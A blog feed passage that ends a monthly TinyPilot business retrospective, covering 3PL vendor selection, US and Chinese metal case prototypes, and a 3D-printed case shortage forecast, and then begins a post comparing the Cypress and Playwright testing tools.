&lt;p>TinyPilot has always done fulfillment in-house, but we&amp;rsquo;re reaching the point where that no longer makes sense, and I&amp;rsquo;m evaluating 3PL vendors to take over this process.&lt;/p>
&lt;h3 id="my-ideal-3pl-vendor">My ideal 3PL vendor&lt;/h3>
&lt;p>There&amp;rsquo;s a wide spectrum of options for 3PL vendors. At one end are the giant corporate machine vendors like Amazon FBA. Those vendors are probably good if you have thousands of products and hundreds of daily orders, but they&amp;rsquo;re impersonal and highly automated, so you have to adapt to their rigid processes.&lt;/p>
&lt;p>I&amp;rsquo;ve heard horror stories from other founders who used Amazon FBA and saw Amazon discard huge amounts of their inventory without justification or freeze $100k+ in funds for months. So, Amazon is the exact opposite of what I want in a 3PL vendor.&lt;/p>
&lt;p>At the other end of the spectrum are the &amp;ldquo;mom and pop&amp;rdquo; 3PL vendors who have dozens to hundreds of customers and only one or two warehouses. I was hoping to find a vendor like this, where they can offer flexibility as things evolve at TinyPilot.&lt;/p>
&lt;h3 id="how-i-found-3pl-vendors">How I found 3PL vendors&lt;/h3>
&lt;p>I found three vendors by just searching &amp;ldquo;3PL&amp;rdquo; on Google Maps near where I live. Of the three I found through Google Maps, one vendor responded, and two ignored me. The one who responded ended up being the best match I found overall, and their warehouse is only a two-hour drive from TinyPilot&amp;rsquo;s office.&lt;/p>
&lt;p>I found another small 3PL vendor in North Carolina by searching &amp;ldquo;3PL site:reddit.com,&amp;rdquo; which yielded a two-year-old comment from the founder. I reached out, and we had a video call a few days later. They seem like another good option, though I prefer having a vendor within driving distance.&lt;/p>
&lt;p>I found the last two vendors from personal recommendations, but they were both dead ends. Notably, both companies advertised themselves as &amp;ldquo;packaging&amp;rdquo; vendors rather than 3PLs, so I think they&amp;rsquo;re more targeted at businesses that produce things like cereal or candy.&lt;/p>
&lt;h3 id="working-with-mom-and-pop-3pls">Working with &amp;ldquo;mom and pop&amp;rdquo; 3PLs&lt;/h3>
&lt;p>Both of the 3PL vendors I met with ended up being very close to what I had in mind at the beginning of the search. Both vendors emphasized their flexibility in adapting to whatever processes their clients needed. TinyPilot can give the 3PL vendors special packing instructions if items need to be combined in a certain way (e.g., orders that include at least one product X always include a free product Y).&lt;/p>
&lt;p>Both 3PL vendors had 100-200 customers, which felt comfortably within &lt;a href="https://en.wikipedia.org/wiki/Dunbar%27s_number">Dunbar&amp;rsquo;s number&lt;/a>. After being burned as &lt;a href="https://mtlynch.io/tinypilot-redesign/#avoid-hiring-a-vendor-as-their-smallest-client">my design agency&amp;rsquo;s smallest client&lt;/a>, I asked how I&amp;rsquo;d compare to their other customers, and both said I&amp;rsquo;d fall around the middle in terms of order volume.&lt;/p>
&lt;p>In terms of product value, I&amp;rsquo;m on the high end relative to their other customers. It seems like 3PL vendors work with a lot of products in the $20-50 range. TinyPilot&amp;rsquo;s high price should be advantageous because the vendors charge a flat fee per order rather than a percentage of revenue. 3PL vendors also charge by warehouse storage space, which should be low in TinyPilot&amp;rsquo;s case since the product is small.&lt;/p>
&lt;p>Both 3PL vendors offer light manufacturing services, so we could theoretically send them our raw materials and have them build TinyPilot devices. I probably won&amp;rsquo;t do this because if we&amp;rsquo;re going to outsource manufacturing, it&amp;rsquo;s easier to have the Chinese factory that makes TinyPilot&amp;rsquo;s custom hardware also assemble the devices. On the other hand, in case of a disastrous dispute between TinyPilot and its manufacturer, it would be better if we&amp;rsquo;re both in the US as opposed to trying to go to court with a company located in China.&lt;/p>
&lt;h2 id="with-metal-cases-manufacturing-quality-makes-a-huge-difference">With metal cases, manufacturing quality makes a huge difference&lt;/h2>
&lt;p>TinyPilot is in the process of transitioning from 3D-printed cases to metal cases. TinyPilot&amp;rsquo;s hardware partners reached out to a Chinese vendor to manufacture the first prototype, but I had researched and interviewed several local sheet metal shops &lt;a href="https://mtlynch.io/retrospectives/2020/01/#sheet-metal-research">back in 2019&lt;/a>. I thought we should get bids from them as well, as it would be faster to iterate on designs with a local vendor than if we had to go back and forth with a vendor in China.&lt;/p>
&lt;p>We reached out to four different local sheet metal vendors. Only one of the local vendors responded. They said that the others wouldn&amp;rsquo;t be interested in such a small job, but they specialized in prototyping, so they&amp;rsquo;d help us.&lt;/p>
&lt;p>A few weeks later, I received the US vendor&amp;rsquo;s prototype and immediately felt deflated.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/11/us-prototype-1.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/11/us-prototype-1_hu_c9422a08d1affdb1.jpg 300w, https://mtlynch.io/retrospectives/2022/11/us-prototype-1_hu_6e133feee6a27c1e.jpg 600w, https://mtlynch.io/retrospectives/2022/11/us-prototype-1_hu_692e3bcd95d28850.jpg 800w, https://mtlynch.io/retrospectives/2022/11/us-prototype-1_hu_fe11e18690732236.jpg 1200w, https://mtlynch.io/retrospectives/2022/11/us-prototype-1.jpg 1600w'
 src="https://mtlynch.io/retrospectives/2022/11/us-prototype-1.jpg" alt="Photo of metal case that looks similar to the steel box behind an electrical outlet" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>First TinyPilot metal case prototype from US manufacturer&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The case looked like something I&amp;rsquo;d find if I smashed a hole in my wall and pulled out some wiring. It definitely didn&amp;rsquo;t look like something I&amp;rsquo;d hand to a customer. The bends had large, visible gaps along the seams. The edges didn&amp;rsquo;t feel sharp enough to cut skin but were definitely too sharp for comfort. And most of the screws were visible from the outside, which looked sloppy.&lt;/p>
&lt;p>When I shared my disappointment with TinyPilot&amp;rsquo;s hardware partner, they said that most of what I was seeing was incompetent manufacturing rather than poor design. The surface would look better with powder coating, and the sharp edges meant that the sheet metal shop didn&amp;rsquo;t tumble it for long enough to smooth them out.&lt;/p>
&lt;p>I was skeptical, but I awaited the prototype we ordered from China. I received that one a few weeks later, and it was a night and day difference.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/11/cn-prototype-1.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/11/cn-prototype-1_hu_cd576010dc69493d.jpg 300w, https://mtlynch.io/retrospectives/2022/11/cn-prototype-1_hu_f3f4ba2858528548.jpg 600w, https://mtlynch.io/retrospectives/2022/11/cn-prototype-1_hu_c174e6a728ec87a3.jpg 800w, https://mtlynch.io/retrospectives/2022/11/cn-prototype-1_hu_c130bdc6d2f2e77b.jpg 1200w, https://mtlynch.io/retrospectives/2022/11/cn-prototype-1.jpg 1600w'
 src="https://mtlynch.io/retrospectives/2022/11/cn-prototype-1.jpg" alt="Photo of black metal case that looks more like a consumer product" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>First TinyPilot metal case prototype from Chinese manufacturer&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The powder coating made the surface feel completely different, much more like a user-friendly product. There were no sharp edges or debris in the gaps. The seams were barely visible. The gaps in the American prototype looked massive by comparison.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/11/us-gap.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/11/us-gap_hu_b8d70fd882245287.jpg 300w, https://mtlynch.io/retrospectives/2022/11/us-gap_hu_47c67460a9fb819b.jpg 600w, https://mtlynch.io/retrospectives/2022/11/us-gap_hu_6e810d2a31ceaa02.jpg 800w, https://mtlynch.io/retrospectives/2022/11/us-gap_hu_d9d066683c943e9a.jpg 1200w, https://mtlynch.io/retrospectives/2022/11/us-gap.jpg 1600w'
 src="https://mtlynch.io/retrospectives/2022/11/us-gap.jpg" alt="Photo of wide gap hole in seam on US vendor case" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/11/cn-gap.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/11/cn-gap_hu_3a819b5ccc24eea8.jpg 300w, https://mtlynch.io/retrospectives/2022/11/cn-gap_hu_7c7936a16909199a.jpg 600w, https://mtlynch.io/retrospectives/2022/11/cn-gap_hu_7690089b38c4e7f0.jpg 800w, https://mtlynch.io/retrospectives/2022/11/cn-gap_hu_dfd15968ff652b99.jpg 1200w, https://mtlynch.io/retrospectives/2022/11/cn-gap.jpg 1840w'
 src="https://mtlynch.io/retrospectives/2022/11/cn-gap.jpg" alt="Photo of nearly flush seam Chinese vendor case" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>The US vendor&amp;rsquo;s case (left) had relatively large gaps along the seams, whereas the Chinese vendor&amp;rsquo;s (left) seams were cleaner, leaving almost no empty space.&lt;/p>&lt;/figcaption>
&lt;/figure>



&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/11/us-corner.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/11/us-corner_hu_a7e8fe16793dcf42.jpg 300w, https://mtlynch.io/retrospectives/2022/11/us-corner_hu_24666a74d6f479bf.jpg 600w, https://mtlynch.io/retrospectives/2022/11/us-corner_hu_115c4bc20372b4fb.jpg 800w, https://mtlynch.io/retrospectives/2022/11/us-corner_hu_75c8a4b0d552a919.jpg 1200w, https://mtlynch.io/retrospectives/2022/11/us-corner.jpg 1600w'
 src="https://mtlynch.io/retrospectives/2022/11/us-corner.jpg" alt="Photo of large hole in corner on US vendor case" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/11/cn-corner.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/11/cn-corner_hu_22f96cb7b9e2453f.jpg 300w, https://mtlynch.io/retrospectives/2022/11/cn-corner_hu_3db78113571e8390.jpg 600w, https://mtlynch.io/retrospectives/2022/11/cn-corner_hu_1cb6cef555ea03ac.jpg 800w, https://mtlynch.io/retrospectives/2022/11/cn-corner_hu_39d75edd3ece7b9b.jpg 1200w, https://mtlynch.io/retrospectives/2022/11/cn-corner.jpg 1600w'
 src="https://mtlynch.io/retrospectives/2022/11/cn-corner.jpg" alt="Photo of small hole in corner on Chinese vendor case" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>The holes for corners were drastically larger on the US vendor&amp;rsquo;s case (left) than the Chinese vendor&amp;rsquo;s (right).&lt;/p>&lt;/figcaption>
&lt;/figure>



&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/11/us-debris.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/11/us-debris_hu_9f889de43c0d1ca8.jpg 300w, https://mtlynch.io/retrospectives/2022/11/us-debris_hu_905dbb91cd45b08f.jpg 600w, https://mtlynch.io/retrospectives/2022/11/us-debris_hu_aaa16ba95b383f64.jpg 800w, https://mtlynch.io/retrospectives/2022/11/us-debris_hu_be69dc984af282ef.jpg 1200w, https://mtlynch.io/retrospectives/2022/11/us-debris.jpg 1600w'
 src="https://mtlynch.io/retrospectives/2022/11/us-debris.jpg" alt="Photo of wide gap hole in seam on US vendor case" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/11/cn-debris.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/11/cn-debris_hu_3b5e0a23bd8fe8bd.jpg 300w, https://mtlynch.io/retrospectives/2022/11/cn-debris_hu_9f859518d5668328.jpg 600w, https://mtlynch.io/retrospectives/2022/11/cn-debris_hu_1282f9753ea59b67.jpg 800w, https://mtlynch.io/retrospectives/2022/11/cn-debris_hu_48f41f38672ed456.jpg 1200w, https://mtlynch.io/retrospectives/2022/11/cn-debris.jpg 1600w'
 src="https://mtlynch.io/retrospectives/2022/11/cn-debris.jpg" alt="Photo of nearly flush seam Chinese vendor case" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>The US vendor&amp;rsquo;s case (left) left jagged edges in some of the cuts, whereas the Chinese vendor&amp;rsquo;s (right) had fewer instances of this.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>The most shocking part was the difference in price. The Chinese prototype cost $139, while the American one cost $857, more than six times as expensive for far worse quality.&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Vendor location&lt;/th>
 &lt;th>Price&lt;/th>
 &lt;th>Turnaround time&lt;/th>
 &lt;th>Quality&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>US&lt;/td>
 &lt;td>$857&lt;/td>
 &lt;td>20 days&lt;/td>
 &lt;td>D&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>China&lt;/td>
 &lt;td>$139&lt;/td>
 &lt;td>31 days&lt;/td>
 &lt;td>A&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>A big chunk of the turnaround time was negotiating logistics, so we expect future iterations to come down to the 10-20 day range.&lt;/p>
&lt;h2 id="the-race-for-more-cases">The race for more cases&lt;/h2>
&lt;p>I&amp;rsquo;ve been worried about 3D-printed cases becoming the bottleneck for TinyPilot &lt;a href="https://mtlynch.io/retrospectives/2021/02/#scaling-manufacturing">since month 7&lt;/a>. Since then, TinyPilot&amp;rsquo;s 3D printing vendor has afforded us more time by purchasing more printers to accommodate TinyPilot&amp;rsquo;s orders. But at this point, it doesn&amp;rsquo;t make sense for the vendor to keep increasing capacity since TinyPilot&amp;rsquo;s orders will rapidly shrink to zero as soon as our metal cases are ready.&lt;/p>
&lt;p>At the end of October, we had 190 cases in stock. TinyPilot&amp;rsquo;s 3D printing vendor typically manufactures 140-160 cases per month, but we sell about 210 devices per month. Based on this, I expect us to run out of cases by January 2023:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Month&lt;/th>
 &lt;th>Manufactured&lt;/th>
 &lt;th>Sold / Projected to Sell&lt;/th>
 &lt;th>Cases at end of month&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>October&lt;/td>
 &lt;td>150&lt;/td>
 &lt;td>207&lt;/td>
 &lt;td>190&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>November&lt;/td>
 &lt;td>150&lt;/td>
 &lt;td>210&lt;/td>
 &lt;td>130&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>December&lt;/td>
 &lt;td>130*&lt;/td>
 &lt;td>220&lt;/td>
 &lt;td>30&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>* Anticipating lower production capacity due to holidays.&lt;/p>
&lt;p>If TinyPilot&amp;rsquo;s sales volume drops to 150 devices when demand is for 230 devices, we&amp;rsquo;re essentially forfeiting 80 x $375/device = $30k in revenue or $20k of profit per month.&lt;/p>
&lt;p>When we switch to metal cases, manufacturing capacity is a non-issue — Chinese sheet metal vendors can crank out thousands of cases per month. The hard part is predicting when the metal cases will be ready. It largely depends on how many design revisions we need:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Scenario&lt;/th>
 &lt;th>ETA for first production batch&lt;/th>
 &lt;th>Probability&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Second revision is ready for production&lt;/td>
 &lt;td>Late December 2022&lt;/td>
 &lt;td>75%&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Third revision is ready for production&lt;/td>
 &lt;td>Early February 2023&lt;/td>
 &lt;td>20%&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>We need more than three revisions&lt;/td>
 &lt;td>April 2023 or later&lt;/td>
 &lt;td>5%&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>In other words, if we get lucky, I can do nothing, and the first few hundred metal cases will arrive just as we&amp;rsquo;re about to run out of 3D-printed cases. If we get unlucky and it takes three revisions to design the metal case, TinyPilot misses out on ~$20k of profit in January. If we get &lt;em>very&lt;/em> unlucky, TinyPilot misses out on ~$60-70k of profit throughout the first quarter of 2023.&lt;/p>
&lt;p>My options to handle the coming 3D-printed case shortage were:&lt;/p>
&lt;ol>
&lt;li>Do nothing and hope to have metal cases ready before we run out of 3D-printed cases.&lt;/li>
&lt;li>Supplement capacity by ordering prints from additional 3D printing vendors.&lt;/li>
&lt;li>Pay our vendor a one-time fee to offset the costs of purchasing a new printer, which the vendor will own.&lt;/li>
&lt;li>Purchase a 3D printer outright, but the vendor will run it and dedicate it to TinyPilot prints.&lt;/li>
&lt;/ol>
&lt;p>I went with option (4).&lt;/p>
&lt;p>A new Markforged printer costs $5,500 after taxes and shipping. I&amp;rsquo;m hoping I can sell it for $3-4k once we switch to metal cases in a few months. In effect, I&amp;rsquo;m paying $2k to protect myself from a potential $20k downside.&lt;/p>
&lt;p>I requested 3D printing quotes from other vendors, but they were all surprisingly expensive. I had quoted backup vendors in early 2021 to prepare for a production shortage, but the prices have increased by ~80% since then to $100-180/case. A couple of Chinese vendors quoted in the $20-50/case range for a cheaper material, so I requested samples in case I need a plan B.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Produced the first TinyPilot metal case prototype&lt;/li>
&lt;li>Applied for a US Trademark on the term &amp;ldquo;TinyPilot&amp;rdquo;&lt;/li>
&lt;li>Published &lt;a href="https://mtlynch.io/notes/cypress-vs-playwright/">&amp;ldquo;On Migrating from Cypress to Playwright&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>Published &lt;a href="https://mtlynch.io/notes/ibonds/">&amp;ldquo;Should I invest in iBonds?&amp;rdquo;&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>It&amp;rsquo;s possible to find 3PL vendors that are friendly to small, unique businesses.
&lt;ul>
&lt;li>Within the eCommerce ecosystem, most vendors (e.g., Shopify, Amazon) force business owners into rigid workflows that are a pain if there&amp;rsquo;s anything unusual about your business.&lt;/li>
&lt;li>From my experience so far, there are 3PL vendors that serve smaller niches and can adapt to uniqueness in a company&amp;rsquo;s fulfillment workflows.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Designing with sheet metal is an order of magnitude more time-consuming and expensive than 3D printing.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Prepare to transition TinyPilot&amp;rsquo;s fulfillment to a 3PL vendor.&lt;/li>
&lt;li>Continue onboarding new support engineers.&lt;/li>
&lt;li>Reduce projects where I&amp;rsquo;m in the critical path.&lt;/li>
&lt;/ul></content:encoded></item><item><title>On Migrating from Cypress to Playwright</title><link>https://mtlynch.io/notes/cypress-vs-playwright/</link><pubDate>Tue, 25 Oct 2022 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/cypress-vs-playwright/</guid><description>&lt;p>&lt;a href="https://cypress.io">Cypress&lt;/a> is an open-source tool for testing web applications end-to-end. I first saw Gleb Bahmutov &lt;a href="https://youtu.be/wApmbgPGmqQ">demo Cypress at a 2018 web dev meetup&lt;/a> in New York, and I was blown away.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/notes/cypress-vs-playwright/gleb-demo.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/notes/cypress-vs-playwright/gleb-demo_hu_c10e77e0dea947a.jpg 300w, https://mtlynch.io/notes/cypress-vs-playwright/gleb-demo_hu_57f529df987faa52.jpg 600w, https://mtlynch.io/notes/cypress-vs-playwright/gleb-demo_hu_f125f3e36b1c3e0c.jpg 800w, https://mtlynch.io/notes/cypress-vs-playwright/gleb-demo_hu_4b0bad428c71bb90.jpg 1200w, https://mtlynch.io/notes/cypress-vs-playwright/gleb-demo.jpg 1227w'
 src="https://mtlynch.io/notes/cypress-vs-playwright/gleb-demo.jpg" alt="Screenshot of Cypress live demo" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I&amp;rsquo;ve been using Cypress since I saw it &lt;a href="https://youtu.be/wApmbgPGmqQ">demoed at a dev meetup&lt;/a> in 2018.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Before discovering Cypress, I had begrudgingly used &lt;a href="https://www.selenium.dev/">Selenium&lt;/a>. Cypress was a refreshing leap forward, as it offered elegant solutions to tons of pain points that made Selenium impractical to use.&lt;/p></description><content:encoded>&lt;p>&lt;a href="https://cypress.io">Cypress&lt;/a> is an open-source tool for testing web applications end-to-end. I first saw Gleb Bahmutov &lt;a href="https://youtu.be/wApmbgPGmqQ">demo Cypress at a 2018 web dev meetup&lt;/a> in New York, and I was blown away.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/notes/cypress-vs-playwright/gleb-demo.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/notes/cypress-vs-playwright/gleb-demo_hu_c10e77e0dea947a.jpg 300w, https://mtlynch.io/notes/cypress-vs-playwright/gleb-demo_hu_57f529df987faa52.jpg 600w, https://mtlynch.io/notes/cypress-vs-playwright/gleb-demo_hu_f125f3e36b1c3e0c.jpg 800w, https://mtlynch.io/notes/cypress-vs-playwright/gleb-demo_hu_4b0bad428c71bb90.jpg 1200w, https://mtlynch.io/notes/cypress-vs-playwright/gleb-demo.jpg 1227w'
 src="https://mtlynch.io/notes/cypress-vs-playwright/gleb-demo.jpg" alt="Screenshot of Cypress live demo" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I&amp;rsquo;ve been using Cypress since I saw it &lt;a href="https://youtu.be/wApmbgPGmqQ">demoed at a dev meetup&lt;/a> in 2018.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Before discovering Cypress, I had begrudgingly used &lt;a href="https://www.selenium.dev/">Selenium&lt;/a>. Cypress was a refreshing leap forward, as it offered elegant solutions to tons of pain points that made Selenium impractical to use.&lt;/p>
&lt;p>I recently tried &lt;a href="https://playwright.dev">Playwright&lt;/a>, Microsoft&amp;rsquo;s answer to Cypress. After experimenting with it for a day, I&amp;rsquo;m ready to completely switch over from Cypress to Playwright.&lt;/p>
&lt;p>It pains me to say it because I have a soft spot for Cypress&amp;rsquo; small, scrappy team. I&amp;rsquo;m certainly not enthusiastic about adding a dependency on a huge megacorp like Microsoft, but Playwright is just so much better that I can&amp;rsquo;t justify sticking with Cypress.&lt;/p>
&lt;p>What follows are my notes on switching from Cypress to Playwright while they&amp;rsquo;re still fresh in my head.&lt;/p>
&lt;h2 id="contents">Contents&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="#my-prior-experience-with-cypress-and-playwright">My prior experience with Cypress and Playwright&lt;/a>&lt;/li>
&lt;li>&lt;a href="#what-i-like-about-playwright">What I like about Playwright&lt;/a>
&lt;ol>
&lt;li>&lt;a href="#playwright-is-significantly-faster-than-cypress">Playwright is significantly faster than Cypress&lt;/a>&lt;/li>
&lt;li>&lt;a href="#playwright-exposes-a-consistent-set-of-assertions">Playwright exposes a consistent set of assertions&lt;/a>&lt;/li>
&lt;li>&lt;a href="#playwright-does-not-depend-on-a-gui-environment">Playwright does not depend on a GUI environment&lt;/a>&lt;/li>
&lt;li>&lt;a href="#playwright-has-fewer-feature-gaps">Playwright has fewer feature gaps&lt;/a>&lt;/li>
&lt;li>&lt;a href="#playwright-requires-less-domain-specific-knowledge">Playwright requires less domain-specific knowledge&lt;/a>&lt;/li>
&lt;li>&lt;a href="#text-comparisons-are-easier-in-playwright">Text comparisons are easier in Playwright&lt;/a>&lt;/li>
&lt;li>&lt;a href="#playwright-makes-it-easier-to-navigate-the-shadow-dom">Playwright makes it easier to navigate the shadow DOM&lt;/a>&lt;/li>
&lt;li>&lt;a href="#playwright-launches-your-app-for-you">Playwright launches your app for you&lt;/a>&lt;/li>
&lt;li>&lt;a href="#playwrights-logging-actually-works">Playwright&amp;rsquo;s logging actually works&lt;/a>&lt;/li>
&lt;li>&lt;a href="#playwrights-team-doesnt-feel-resource-constrained">Playwright&amp;rsquo;s team doesn&amp;rsquo;t feel resource-constrained&lt;/a>&lt;/li>
&lt;li>&lt;a href="#playwright-integrates-better-with-vs-code">Playwright integrates better with VS Code&lt;/a>&lt;/li>
&lt;li>&lt;a href="#parallel-tests-are-free-in-playwright">Parallel tests are free in Playwright&lt;/a>&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>&lt;a href="#what-i-miss-about-cypress">What I miss about Cypress&lt;/a>
&lt;ol>
&lt;li>&lt;a href="#cypress-syntax-is-more-consistently-fluent">Cypress&amp;rsquo; syntax is more consistently fluent&lt;/a>&lt;/li>
&lt;li>&lt;a href="#cypress-has-a-small-independent-team">Cypress has a small, independent team&lt;/a>&lt;/li>
&lt;li>&lt;a href="#cypress-test-artifacts-work-in-ci">Cypress test artifacts work in CI&lt;/a>&lt;/li>
&lt;li>&lt;a href="#cypress-docker-image-actually-contains-the-software">Cypress&amp;rsquo; Docker image actually contains the software&lt;/a>&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>&lt;a href="#summary">Summary&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="my-prior-experience-with-cypress-and-playwright">My prior experience with Cypress and Playwright&lt;/h2>
&lt;p>I&amp;rsquo;ve written Cypress end-to-end tests for almost every web app I&amp;rsquo;ve built in the last four years. I&amp;rsquo;d rate myself as an intermediate Cypress user. Most of my Cypress needs are straightforward and only exercise the basic APIs. I&amp;rsquo;ve never written any custom plugins, but I&amp;rsquo;ve used a few third-party ones.&lt;/p>
&lt;p>I&amp;rsquo;ve used Playwright for only one day. To get my hands dirty, I tried porting a test suite of one of my apps from Cypress to Playwright. I chose &lt;a href="https://github.com/mtlynch/picoshare">PicoShare&lt;/a>, my minimalist file-sharing tool, which has just 10 end-to-end tests. I was able to &lt;a href="https://github.com/mtlynch/picoshare/pull/340">port them all from Cypress to Playwright&lt;/a> in about five dev hours, including the time it took to learn Playwright&amp;rsquo;s APIs.&lt;/p>
&lt;p>I&amp;rsquo;ve never paid money for Cypress or Playwright, so I&amp;rsquo;m not entitled to anything from either tool. Cypress has a paid SaaS component, but I&amp;rsquo;ve never purchased it, as it doesn&amp;rsquo;t fit into my workflow. I would have happily sponsored Cypress, as I do other open-source projects I use, but Cypress doesn&amp;rsquo;t offer any sponsorship options.&lt;/p>
&lt;h2 id="what-i-like-about-playwright">What I like about Playwright&lt;/h2>
&lt;h3 id="playwright-is-significantly-faster-than-cypress">Playwright is significantly faster than Cypress&lt;/h3>
&lt;p>My Playwright test suite runs 34% faster than the equivalent Cypress tests on CircleCI. On my local dev machine, Playwright gives a 5x speedup over Cypress. This is not a rigorous measurement, but it&amp;rsquo;s clear there&amp;rsquo;s a substantial speed difference between the two.&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Task&lt;/th>
 &lt;th>Cypress&lt;/th>
 &lt;th>Playwright&lt;/th>
 &lt;th>Difference&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Run tests on CircleCI&lt;/td>
 &lt;td>127s&lt;/td>
 &lt;td>84s&lt;/td>
 &lt;td>&lt;font color="green">-34%&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Run tests from development machine&lt;/td>
 &lt;td>40s&lt;/td>
 &lt;td>7s&lt;/td>
 &lt;td>&lt;font color="green">-83%&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Part of the performance difference on CI is that the Playwright Docker container is significantly smaller than the Cypress container. For local development, it&amp;rsquo;s not a big deal because you download it once, and you&amp;rsquo;re done. But when I run Cypress in CI, I have to wait for CircleCI to download and decompress a ~1 GB image each time.&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>&lt;/th>
 &lt;th>cypress/included:10.9.0&lt;/th>
 &lt;th>playwright:v1.26.0-focal-amd64&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Size&lt;/td>
 &lt;td>940 MB&lt;/td>
 &lt;td>651 MB&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h3 id="playwright-exposes-a-consistent-set-of-assertions">Playwright exposes a consistent set of assertions&lt;/h3>
